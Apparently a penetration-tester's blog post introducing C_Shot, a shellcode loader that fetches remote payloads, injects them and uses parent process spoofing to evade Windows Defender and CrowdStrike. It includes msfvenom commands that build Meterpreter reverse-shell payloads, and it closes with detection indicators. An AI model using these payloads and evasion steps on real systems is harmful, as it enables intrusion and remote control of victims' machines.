C_Shot - Just What The Doctor Ordered

C_Shot TL;DR

What Is It?

C_Shot is an offensive security tool written in C which is designed to download a remote shellcode binary file (.bin) over HTTP/HTTPS, inject the shellcode and execute it.  C_shot can accomplish this two different ways:

1. Injects the shellcode into its own process

With this method, C_Shot becomes your sacrificial process to inject into.  The C_Shot process will remain running until whatever you launched is finished running.

2. Injects the shellcode into a child process using parent process spoofing

With this method, C_Shot is able to spoof a parent process of your choosing, open a child process of your choosing underneath that parent process, then inject and execute your shellcode within that child process.  You also have the ability to add command line arguments to add some authenticity to the child process. 

Code can be found here:  https://github.com/anthemtotheego/C_Shot

Who Is It For:

When designing this tool I envisioned C_Shot being mostly used by security professionals performing penetration tests who might need a little assistance in catching some shells or performing purple teaming/controls tuning to test against this particular technique.  

However, if you perform red teaming, you might find some of the code useful to rip out, modify and implement into your own arsenal.

Why Use it:
The benefit of using a tool like C_Shot is that like a cradle, the malicious code we want to execute isn't stored inside the binary but is retrieved from a remote location, read into memory and then executed.  This helps make tools like C_Shot seem rather benign to AV/EDR and go undetected.  As you will see in some of the examples in the walkthrough below I am able to get default Meterpreter shellcode to execute successfully against both Windows Defender and CrowdStrike. I also show in the very last example, using C_Shot to successfully execute a Cobalt Strike Beacon payload into our own process which gets past CrowdStrike as well. Lastly, I understand that some may argue that C_Shot's technique of retrieving payloads remotely isn't opsec friendly and while I am not going to fully disagree, I will say that in the year 2020, pretty much every device calls out to the internet. So I will leave it up to the reader to weigh the risk for yourself when using this type of technique.

Walkthrough

Show Me What It Does:
Note: This section will serve as a more detailed walkthrough and hopefully will give the reader some easy to understand examples on how to both compile, use, and benefits of the tool.

Let us start by compiling C_Shot.  I personally use Visual Studio 2019 as my IDE but you may use whatever you like or feel most comfortable with.  Since C_Shot is literally one source file (cshot.c), I find it easier to just compile it using the Developer Command Prompt for VS 2019.  Now to avoid accidentally compiling for the wrong architecture, I suggest you do a Windows search for developer command prompt, right click and open file location.  You should see a folder called VC and when you open that, you should see several versions of the developer command prompt with the correct architecture shown.

Choose the one that is the correct architecture and then change directories to wherever the cshot.c source file is located.  All that is left to do now is run the following command:

cl /D _UNICODE /D UNICODE cshot.c

Now that we have a fresh copy of cshot.exe sitting in our directory, let's go through some examples on how C_Shot can help us catch some shells.  For all inclusive purposes, I will be using Metasploit's Meterpreter as the payload for all examples but one in this walkthrough.  You could however easily use a different offensive framework like Cobalt Strike as I show in the last example.

So first let's build our Meterpreter payloads and see how they stack up against Windows Defender.  If we can't get past default Defender we probably won't get past those well known EDR solutions.  So let's be daring and try some default Meterpreter payloads.  One staged and one stageless.  If those two words mean nothing to you, this is your time to stop, google, and come back.  I cannot stress the importance of understanding the behavior of all your tools.  This understanding is really the key to evading defenses. 

msfvenom payload build commands:

Staged:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LISTENING_IP_HERE LPORT=LISTENING_PORT_HERE -a x64 --platform windows -b "\x00" -f raw -o DefaultStaged.bin

Stageless:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=LISTENING_IP_HERE LPORT=LISTENING_PORT_HERE -a x64 --platform windows -b "\x00" -f raw -o DefaultStageless.bin

Now that we have our binary files built, we now just need a web service where we want to retrieve them from.  This could be as simple as running python -m SimpleHTTPServer 80 within the same directory as your binary payload files on your attacker system or hosting them somewhere externally. For all the examples in this blog I will use github.com to host my payloads.  

Now let us setup our Metasploit listener:

Lastly, let's make sure Windows Defender is running on our victim machine:

Perfect. Now that we have everything ready to go, the last thing we need to do is run C_Shot on the victim machine and see how we do using a default staged Meterpreter payload.  Let's first try injecting into our own process.

Executing C_Shot on victim machine and injecting our default staged Meterpreter payload into our own process:

Getting caught by Windows Defender:

Womp womp, looks like we got caught.  Well this tool sucks, you better just stop reading now.  WAIT... I almost forgot, we have a stageless default Meterpreter payload to try!  Let's try injecting that into our own process and see what happens.

Setting up our Metasploit handler for our stageless Meterpreter payload:

Executing C_Shot on victim machine and injecting our default stageless Meterpreter payload into our own process:

Getting a shell back:

Success!  So why did we go through this little exercise? Well, because I wanted to point out that while C_Shot can definitely help you in successfully executing shellcode, it can only do so much of the heavy lifting.  Any time you choose to execute widely known shellcode you take an extra risk beyond just your tool's behavior. If what you execute is widely known, AV/EDR will almost certainly have signatures or flag on certain behaviors of that shellcode. As shown above, in this case this wasn't really a C_Shot problem but a problem with Meterpreter's default staged payload behavior being widely known and easily detected.

So now that we have tried out C_Shot's ability to inject into its own process, let's see what happens when we use a different injection technique plus parent process spoofing and inject our Meterpreter default staged shellcode into a child process of our choosing.  We will try something I normally wouldn't recommend and that is to inject into c:\windows\system32\notepad.exe with the spoofed parent process of explorer.exe.

Executing C_Shot on victim machine and injecting our default staged Meterpreter payload into our child process notepad.exe with a spoofed parent process of explorer.exe:

Notepad.exe running on our victim system with the spoofed parent process of explorer.exe.

Getting a shell back:

Success! This time we successfully got a shell back even when using the same Meterpreter default staged payload that got caught in our last example. Hopefully this example shows how parent process spoofing can still cause a headache when it comes to detecting malicious shellcode being executed.

So this is great and all but how does this stack up against something a little more beefy than the out of the box Windows Defender?  Let's see how we do going up against CrowdStrike. Like the first example we will setup our Metasploit handler to receive the default staged Meterpreter payload.  We also need to make sure CrowdStrike is running on our victim machine.

Now that everything is ready to go, all we have left is to execute our tool and try and inject into our own process.  CrowdStrike easily catches both the staged and stageless default Meterpreter payloads when we try and inject them into our own process.

So far CrowdStrike is performing slightly better than Windows Defender since it caught both the staged and stageless default payloads but let's see what happens if we try spoofing our parent process just like we did against Windows Defender.  

Executing C_Shot on victim machine and injecting our default staged Meterpreter payload into our child notepad.exe process with a spoofed parent process of explorer.exe:

Getting a shell back:

Awesome! Looks like when using a different injection technique plus parent process spoofing we are successful with both the staged and stageless default meterpreter payloads.  Before we wrap up though, there is one last thing that has been bugging me.  Our default Meterpreter payloads got caught when we tried injecting into our own process.  Let's see if this is a c_shot issue or an issue with using default shellcode payloads against CrowdStrike.

For this last example, I am going to be using Cobalt Strike, another popular offensive post-exploitation framework that has the ability to let you heavily modify the default behaviors of your beacon implant among other things.  I created a modified staged beacon payload since this is the most likely to get caught, uploaded it, and now let's see what happens.

Executing C_Shot on victim machine and injecting our staged Beacon payload into our own process:

Getting beacon back:

Woot Woot! We were successful getting our staged shellcode payload past CrowdStrike!  Hopefully this example helps you understand that sometimes the way you are injecting is the issue and sometimes your shellcode or payload behavior is the issue.  This is why as an offensive security professional it is extremely important to understand what behaviors your tools have.  This also should highlight why it is so important to test your payloads in a lab before sending them off into the great unknown and wishing them the best of luck.

Detection

How one could detect C_Shot:

I put some references at the bottom that give better detection guidance around detecting the behaviors themselves, for example, parent process spoofing.  Under this section I will however talk about a few quick IOCs inside the default C_Shot program itself.

1. Uses PAGE_EXECUTE_READWRITE for all memory protections. This was done on purpose and should be a red flag as very few programs have memory ranges with the memory protection of PAGE_EXECUTE_READWRITE.  

2. When making a web request to retrieve a remote payload you should see "cshot/1.0" in the request. This should also be an immediate red flag.

3. Lastly, there has been no effort in the public release to do any form of API hiding, string obfuscation, memory protection tricks etc.  Static analysis of the tool should make it pretty easy to spot if no modification has been done.

Conclusion

Hopefully after reading this blog you have begun to realize how you might be able to utilize a concept like C_Shot during your engagements to execute shellcode to bypass AV/EDR or better yet, started to think of ways you could build upon the concepts shown and build something even better.  Till next time and happy hacking!

References:

Modern Detections for Shellcode Injection - https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html

Detecting Parent Process Spoofing - https://blog.f-secure.com/detecting-parent-pid-spoofing/

Link to tools released:

C_Shot- https://github.com/anthemtotheego/C_Shot

SharpExec - https://github.com/anthemtotheego/SharpExec

SharpCradle - https://github.com/anthemtotheego/SharpCradle

SharpNado - https://github.com/anthemtotheego/SharpNado

SharpSploitConsole - https://github.com/anthemtotheego/SharpSploitConsole